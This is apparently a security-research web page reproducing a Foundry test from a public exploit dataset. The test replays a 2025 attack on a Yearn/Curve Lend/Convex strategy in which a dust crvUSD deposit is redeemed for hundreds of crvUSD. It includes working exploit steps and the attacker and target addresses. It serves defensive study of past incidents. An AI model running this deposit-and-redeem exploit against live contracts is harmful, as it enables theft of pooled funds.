Public reproduction file
src/test/2025-07/StrategyLlamaLendConvex_exp.sol
Public reproduction file for dataset entry StrategyLlamaLendConvex.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 563.12 USDC8// Attacker : 0x29Bd2258485Da9f4224A99c512e14D4F64d81a509// Attack Contract : 0x2114Ab8Bb9b69545A5C0923E63687Ee8CdAd269E10// Vulnerable Contract : 0x75b7DB3e11138134fe4744553b5e5e3D6546d28911// Attack Tx : https://etherscan.io/tx/0x2ff7c23dca7e9a86c70004696802cbd37d6a77fc4f3e02522b16617045b764f612//13// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0x75b7DB3e11138134fe4744553b5e5e3D6546d289#code15//16// @Analysis17// Twitter Guy : https://t.me/defimon_alerts/149518//19// Attack summary: A tiny crvUSD deposit into the Yearn strategy was routed into a Curve Lend20// vault and staked in Convex. Redeeming the minted strategy shares caused the strategy to21// unstake and redeem far more crvUSD from the Curve Lend vault than the attacker deposited.22// Root cause: The permissionless strategy deposit/redeem path trusted the underlying Curve Lend23// vault share accounting and accepted the realized withdrawal loss, letting the redeemer receive24// hundreds of crvUSD for a dust-sized deposit.26address constant ATTACKER = 0x29Bd2258485Da9f4224A99c512e14D4F64d81a50;27address constant TRACE_ATTACK_CONTRACT = 0x2114Ab8Bb9b69545A5C0923E63687Ee8CdAd269E;28address constant STRATEGY = 0x75b7DB3e11138134fe4744553b5e5e3D6546d289;29address constant STRATEGY_IMPLEMENTATION = 0xD377919FA87120584B21279a491F82D5265A139c;30address constant CRVUSD_CONTROLLER = 0xaD444663c6C92B497225c6cE65feE2E7F78BFb86;31address constant CRVUSD_TOKEN = 0xf939E0A03FB07F59A73314E73794Be0E57ac1b4E;32address constant USDC_TOKEN = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;33address constant UNISWAP_V3_ROUTER = 0xE592427A0AEce92De3Edee1F18E0157C05861564;34address constant CRVUSD_USDC_CURVE_POOL = 0x4DEcE678ceceb27446b35C672dC7d61F30bAD69E;35address constant USDC_CRVUSD_UNISWAP_POOL = 0x084565106618419274Beed1B4aD4BdFF77C5f90F;37interface ITokenizedStrategy {38 function deposit(uint256 assets, address receiver) external returns (uint256 shares);39 function redeem(uint256 shares, address receiver, address owner) external returns (uint256 assets);40}42interface ICurveStableSwap {43 function exchange(int128 i, int128 j, uint256 dx, uint256 minDy) external returns (uint256);44}46contract ContractTest is BaseTestWithBalanceLog {47 function setUp() public {48 uint256 forkBlock = 22_929_492;49 vm.createSelectFork("mainnet", forkBlock);51 fundingToken = USDC_TOKEN;53 vm.label(ATTACKER, "Attacker EOA");54 vm.label(TRACE_ATTACK_CONTRACT, "Trace Attack Contract");55 vm.label(STRATEGY, "StrategyLlamaLendConvex");56 vm.label(STRATEGY_IMPLEMENTATION, "TokenizedStrategy Implementation");57 vm.label(CRVUSD_CONTROLLER, "crvUSD Controller");58 vm.label(CRVUSD_TOKEN, "crvUSD");59 vm.label(USDC_TOKEN, "USDC");60 vm.label(UNISWAP_V3_ROUTER, "Uniswap V3 Router");61 vm.label(CRVUSD_USDC_CURVE_POOL, "crvUSD/USDC Curve Pool");62 vm.label(USDC_CRVUSD_UNISWAP_POOL, "USDC/crvUSD Uniswap V3 Pool");63 }65 function testExploit() public balanceLog {66 uint256 seedUsdc = 124;67 deal(USDC_TOKEN, address(this), seedUsdc);69 uint256 usdcBefore = IERC20(USDC_TOKEN).balanceOf(address(this));71 // step 1: swap the dust USDC seed into crvUSD, matching the trace's seed funding.72 IERC20(USDC_TOKEN).approve(UNISWAP_V3_ROUTER, seedUsdc);73 uint256 crvUsdSeed = Uni_Router_V3(UNISWAP_V3_ROUTER).exactInputSingle(74 Uni_Router_V3.ExactInputSingleParams({75 tokenIn: USDC_TOKEN,76 tokenOut: CRVUSD_TOKEN,77 fee: 3000,78 recipient: address(this),79 deadline: block.timestamp,80 amountIn: seedUsdc,81 amountOutMinimum: 0,82 sqrtPriceLimitX96: 083 })84 );86 // step 2: deposit the crvUSD into the strategy; the minted shares are derived here.87 IERC20(CRVUSD_TOKEN).approve(STRATEGY, crvUsdSeed);88 uint256 strategyShares = ITokenizedStrategy(STRATEGY).deposit(crvUsdSeed, address(this));90 // step 3: redeem the just-minted strategy shares and receive the inflated crvUSD output.91 uint256 crvUsdBeforeRedeem = IERC20(CRVUSD_TOKEN).balanceOf(address(this));92 ITokenizedStrategy(STRATEGY).redeem(strategyShares, address(this), address(this));93 uint256 crvUsdRedeemed = IERC20(CRVUSD_TOKEN).balanceOf(address(this)) - crvUsdBeforeRedeem;95 // step 4: convert the crvUSD proceeds back to USDC through the same Curve pool.96 IERC20(CRVUSD_TOKEN).approve(CRVUSD_USDC_CURVE_POOL, crvUsdRedeemed);97 ICurveStableSwap(CRVUSD_USDC_CURVE_POOL).exchange(1, 0, crvUsdRedeemed, 0);99 uint256 usdcAfter = IERC20(USDC_TOKEN).balanceOf(address(this));100 assertGt(crvUsdRedeemed, crvUsdSeed * 1_000_000);101 assertGt(usdcAfter - usdcBefore, 500e6);102 }103}Analysis
Dataset entry
Public Foundry test for “StrategyLlamaLendConvex” (2025-07-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-07/ActivePoolScrvUsdUrgentRedemption_exp.solSame month in the dataset · 200 lines
- src/test/2025-07/ActivePoolUrgentRedemption_exp.solSame month in the dataset · 194 lines
- src/test/2025-07/AnyswapWETHPermit_exp.solSame month in the dataset · 127 lines
- src/test/2025-07/AvaxBIFKNPair_exp.solSame month in the dataset · 213 lines
- src/test/2025-07/BoJLeverageMarket_exp.solSame month in the dataset · 193 lines
- src/test/2025-07/EmptySetReserve_exp.solSame month in the dataset · 196 lines
- src/test/2025-07/FPC_exp.solSame month in the dataset · 83 lines
- src/test/2025-07/gmx_exp.solSame month in the dataset · 427 lines
- src/test/2025-07/MulticallWithETH_exp.solSame month in the dataset · 52 lines
- src/test/2025-07/RANTToken_exp.solSame month in the dataset · 108 lines
- src/test/2025-07/Stepp2p_exp.solSame month in the dataset · 59 lines
- src/test/2025-07/SuperRare_exp.solSame month in the dataset · 80 lines
- src/test/2025-07/SWAPPStaking_exp.solSame month in the dataset · 197 lines
- src/test/2025-07/unverified_8fd3_exp.solSame month in the dataset · 105 lines
- src/test/2025-07/unverified_54cd_exp.solSame month in the dataset · 77 lines
- src/test/2025-07/Unverified670471_exp.solSame month in the dataset · 160 lines
- src/test/2025-07/Unverified6883_exp.solSame month in the dataset · 224 lines
- src/test/2025-07/UPENGBurnSync_exp.solSame month in the dataset · 115 lines
- src/test/2025-07/VDS_exp.solSame month in the dataset · 82 lines
- src/test/2025-07/WETC_Token_exp.solSame month in the dataset · 78 lines
- src/test/2025-07/WhereIsMyDragonTreasure_exp.solSame month in the dataset · 137 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x29bd2258485da9f4224a99c512e14d4f64d81a50
- Attack Contract
0x2114ab8bb9b69545a5c0923e63687ee8cdad269e
- Vulnerable Contract
0x75b7db3e11138134fe4744553b5e5e3d6546d289
- Attack Tx
0x2ff7c23dca7e9a86c70004696802cbd37d6a77fc4f3e02522b16617045b764f6
File record
- Name
- StrategyLlamaLendConvex
- Path
- src/test/2025-07/StrategyLlamaLendConvex_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- c2b0be454bf0857eee37e0c8738413405ebb0140
- Language
- Solidity
- Size
- 104 lines
- Date
- 2025-07-16
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-07/StrategyLlamaLendConvex_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob c2b0be454bf0857eee37e0c8738413405ebb0140, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.